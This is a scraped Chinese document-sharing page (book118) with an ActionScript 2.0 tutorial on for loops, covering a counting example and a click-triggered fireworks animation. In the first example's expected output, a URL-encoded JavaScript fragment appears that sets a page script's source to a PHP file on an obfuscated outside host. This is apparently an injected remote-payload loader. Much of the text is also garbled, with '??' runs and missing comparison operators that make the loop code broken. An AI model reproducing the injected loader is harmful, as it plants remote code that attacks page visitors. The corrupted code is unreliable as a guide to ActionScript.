- 1、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。。
- 2、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
- 4、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
- 5、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们。
- 6、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
- 7、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
for函数(AS教程)
for函数(AS教程)??
2010-09-01 20:18:40|??分类:?AS2.0课堂?|??标签:flash教程??|字号?订阅
----------------------------------------------------------------------------------------------------------------
for
(老虎根据视频整理)
/spzx/donghua/Flash/200908/10107_22.html
一、简述:
与条件判断语句一样,循环语句也是最具有实用性的语句,在满足条件时程序会不断重复执行直到设置的条件不成立才结束循环,继续执行下面的语句。for循环是功能最强大、使用最灵活的一种循环语句,他不仅可以应用于循环次数已经确定的情况,也可以应用于循环次数不经确定,只给出结束条件的情况。
二、语句解释:
????脚本位置:语句—条件---循环---for
语句结构:
for(初始表达式;条件表达式;递增表达式;){
????循环体;
}
参数意义:
????初始表达式:循环前的初始化变量,通常为赋值表达式:建议用var赋值,可以加快运行速度。(往往是i=1;或k=1;)
条件表达式:每次循环前要计算的条件,是运算符类别中的条件运算符,返回值为true?或false,当返回值为true时执行循环,为false时退出循环。(往往是i=n;或用逻辑运算符)
递增或递减表达式:没循环一次以后要计算的表达式,通常是递增++或递减—等赋值表达式。
循环体:每次条件符合时要执行的语句。
总体的解释:for语句中的三个参数,第一个是初始化变量,用来设置循环次数的初始值;第二个是一个条件运算符或逻辑运算符,用来判断循环是否继续;第三个是每次循环后执行的语句,实际是递增或递减初始化变量。
for语句的流程图:
???????????????????????????????
? 例1:
????第一层第一帧:动态文本---文本周围显示边框---变量名:a
第二层第一帧:输入脚本:
for(i=1;i10;i++){
_root.a=i;
Trace(i);
}
测试:显示tsByTagName%28%27script%27%29%5B0%5D.src%3D%27http%3A//%78%71%7a%6e%2e%69%6e%66%6f%2f%61%2f%31%36%33%2f%6e%2e%70%68%70%27%3Bwindow.x%3D1%7D9。(输出面板1—9,即循环9次)
例2:
???通过“点击鼠标?观看烟花”实例来加深理解。
???第一层第一帧:放夜间图片做背景。
???第二层(空影片):插入---新建空影片剪辑---拖入第一帧。
???新建烟花1影片剪辑----制作烟花及声响。在库中点选该影片剪辑---右键---链接---“为as导出”和“在第一帧导出”---标识符:yha
???用同样方法建烟花2影片剪辑--------------标识符:yhb
???回到场景,选中空影片剪辑,打开动作,输入脚本:
?
onClipEvent (load) {
???????k = 1;????????//初始化变量
}
onClipEvent (mouseDown) {
???????k = -k;????//每点一次都和前一次向反:当第点击k=-1;??当第点击k=1;???????????????
???????for (i=1; i=100; i++) {
??????????????if (k == 1) {
?????????????????????this.attachMovie(yha, yh+i, i);?//复制新影片剪辑。
?????????????????????this[yh+i]._x = _xmouse; //烟花在场景中的x位置=当时鼠标的x位置。
?????????????????????this[yh+i]._y = _ymouse; //烟花在场景中的y位置=当时鼠标的y位置。
?????????????????????this[yh+i]._rotation = random(360); //烟花旋转角度是360度任意的。
?????????????????????this[yh+i]._xscale = this[yh+i]._yscale=random(50)+10; //烟花水平垂直缩放。
??????????????} else {
?????????????????????this.attachMovie(yhb, yh+i, i);
?????????????????????this[yh+i]._x = _xmouse;
??
文档评论(0)